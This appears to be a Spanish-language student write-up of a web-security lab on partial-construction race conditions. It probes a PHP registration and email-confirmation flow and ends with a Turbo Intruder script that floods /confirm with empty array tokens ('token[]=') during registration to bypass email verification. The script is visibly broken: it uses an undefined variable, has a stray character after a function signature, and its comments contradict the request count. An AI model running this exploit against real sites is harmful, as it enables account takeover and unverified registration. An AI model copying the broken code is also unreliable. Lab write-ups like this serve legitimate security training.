6 Partial construction race conditions
No cuento con una cuenta, asi que me creo una para revisar el flujo, me percato ademas de esto If you work for GinAndJuice, please use your @ginandjuice.shop email address
yo no cuento con un cliente de correo de ese dominio, pero si de #### wiener@exploit-0aaf00d00348ed2e8095fc0101d200b8.exploit-server.net
Cuando intente registrarme obtuve el mensaje Invalid email address
Asi que probe utilizando wiener@ginandjuice.shop y obtuve este mensaje Please check your emails for your account registration link
Al buscar informacion de tecnologias observe que en las cookies aparece phpsessionid por lo tanto ahora se que el backend esta compuesto por PHP
Ahora revisare el codigo javascript del lado cliente.
<input required type="hidden" name="csrf" value="zQpjIZLjqGKeOcuhZF6aolKGziZnp88X">
<script src='/resources/static/users.js'></script>
<script>createRegistrationForm()</script>
</form>
const createRegistrationForm = () => {
const form = document.getElementById('user-registration');
const usernameLabel = document.createElement('label');
usernameLabel.textContent = 'Username';
const usernameInput = document.createElement('input');
usernameInput.required = true;
usernameInput.type = 'text';
usernameInput.name = 'username';
const emailLabel = document.createElement('label');
emailLabel.textContent = 'Email';
const emailInput = document.createElement('input');
emailInput.required = true;
emailInput.type = 'email';
emailInput.name = 'email';
const passwordLabel = document.createElement('label');
passwordLabel.textContent = 'Password';
const passwordInput = document.createElement('input');
passwordInput.required = true;
passwordInput.type = 'password';
passwordInput.name = 'password';
const button = document.createElement('button');
button.className = 'button';
button.type = 'submit';
button.textContent = 'Register';
form.appendChild(usernameLabel);
form.appendChild(usernameInput);
form.appendChild(emailLabel);
form.appendChild(emailInput);
form.appendChild(passwordLabel);
form.appendChild(passwordInput);
form.appendChild(button);
}
// En resumen la logica de este codigo es crear un formulario de registro de usuario y un formulario de confirmacion de email. El formulario de registro incluye campos para el nombre de usuario, correo electronico y contraseña, mientras que el formulario de confirmacion de email incluye un boton para confirmar la cuenta del usuario. Ambos formularios se crean dinamicamente utilizando JavaScript y se agregan al DOM.
const confirmEmail = () => {
const container = document.getElementsByClassName('confirmation')[0];
// estas 3 lineas se encargan de obtener el token de confirmacion de la URL, si existe, y agregarlo a la accion del formulario de confirmacion. Esto permite que el servidor pueda verificar el token cuando el usuario haga clic en el boton de confirmacion.
const parts = window.location.href.split("?");
const query = parts.length == 2 ? parts[1] : "";
const action = query.includes('token') ? query : "";
// podemos visitar directamente /confirm
const form = document.createElement('form');
form.method = 'POST';
form.action = '/confirm?' + action;
const button = document.createElement('button');
button.className = 'button';
button.type = 'submit';
button.textContent = 'Confirm';
form.appendChild(button);
container.appendChild(form);
}
Luego de revisar el codigo y obtener informacion de la ruta /confirm e interactuar con el boton confirm observo que el parametro que requiere es un token debido a esta respuesta: "Missing parameter: token" dicho token es el entregado al cliente de correo el cual no poseemos. tambien me interesa saber el comportamiento o la respuesta cuando obtiene un token incorrecto, en este caso me responde con "Incorrect token: as" al enviarle /configrm?token=as
Anteriormente reconoci que utiliza PHP, en PHP hay un mecanismo de locking, que en resume hace lo siguiente: permitir el procesamiento de 1 solicitud por sesion a la vez.
Esta implementacion puede ser eludida enviando las solicitudes con tokens de sesiones distintos.
Ademas esta la construccion parcial de race conditions, que en pocas palabras hace lo siguiente: Explotar la pequena race window que se genera en las aplicaciones que implementacion la creacion de objetos en multiples pasos, por ejemplo: 1. crear usuario 2. asignar clave API las 2 requieres consultas SQL y entre estas existe una race window explotable, ya que entre la primera y la segunda existe un valor null, entonces buscaremos inyectar un valor null que coincida con este otro valor null.
param[]=foo is equivalent to param = ['foo']
param[]=foo¶m[]=bar is equivalent to param = ['foo', 'bar']
param[] is equivalent to param = []
Al probar utilizando /confirm?token[]= obtuve la respuesta "Incorrect token: Array"
Otro caso a probar es enviar un token vacio: ?token= en ese caso obtuve Forbidden
Es posible que exista una partial construction race window entre estas 2 consultas :
- insercion del usuario
- insercion del token del usuario
benchmark
Envio de solicitudes en conexiones separadas (funcionamiento normal)
159 ms de diferencia 353 ms
POST /register HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
csrf=qJHYDTrQR0u1DiXk1D93XC1Qmlw8poe8&username=1&email=1%40ginandjuice.shop&password=1
194 ms
POST /confirm?token= HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
Envio de solicitudes en paralelo
60 ms de diferencia; en apariencia demoro mas, pero debe ser debido a la conexion con el servidor, no obstante al calcular la diferencia obtenemos el valor real cuyo valor podemos compararlo con su funcionamiento normal (envio en secuencia con conexiones separadas) 471 ms
POST /register HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
csrf=qJHYDTrQR0u1DiXk1D93XC1Qmlw8poe8&username=1&email=1%40ginandjuice.shop&password=1
311 ms
POST /confirm?token= HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
# En resumen lo que hace es preparar una serie de solicitudes de registro y
# confirmación de token, las agrupa en "gates" (puertas) y luego las envía simultáneamente.
# Esto se hace para probar la capacidad del servidor para manejar múltiples solicitudes concurrentes
# y ver si se pueden detectar vulnerabilidades relacionadas con la gestión de sesiones o tokens.
# def queueRequests se encarga de preparar y enviar las solicitudes, mientras que handleResponse
# se encarga de manejar las respuestas recibidas del servidor. En este caso, simplemente agrega
# las respuestas a una tabla para su posterior análisis.
# un gate es una forma de agrupar solicitudes para que se envíen al mismo tiempo.
# En este caso, cada batch de solicitudes de registro y confirmación de token se
# agrupa en un gate único, lo que permite enviar todas las solicitudes de ese batch simultáneamente.
# Esto es útil para simular escenarios de alta concurrencia y evaluar cómo el servidor maneja múltiples solicitudes al mismo tiempo.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0ac900df03be85ba832ad71b00ba0029.web-security-academy.net
Cookie: phpsessionid=wjWFY8fCnbw5kpFxUIGeaE1XiSAYQCnu
Content-Length: 0
'''
for attempt in range(20):
q = str(attempt)
username = 'uusseerrnnaammeee' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
# Ajustar este valor a uno mayor permite que se envíen más solicitudes de confirmación simultáneamente,
# lo que puede aumentar la probabilidad de detectar vulnerabilidades relacionadas con la gestión de sesiones o tokens.
# Sin embargo, es importante tener en cuenta que enviar demasiadas solicitudes al mismo
# tiempo puede sobrecargar el servidor y afectar su rendimiento, por lo que es recomendable encontrar un equilibrio adecuado.
for i in range(550):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
def handleResponse(req, interesting):2
table.add(req)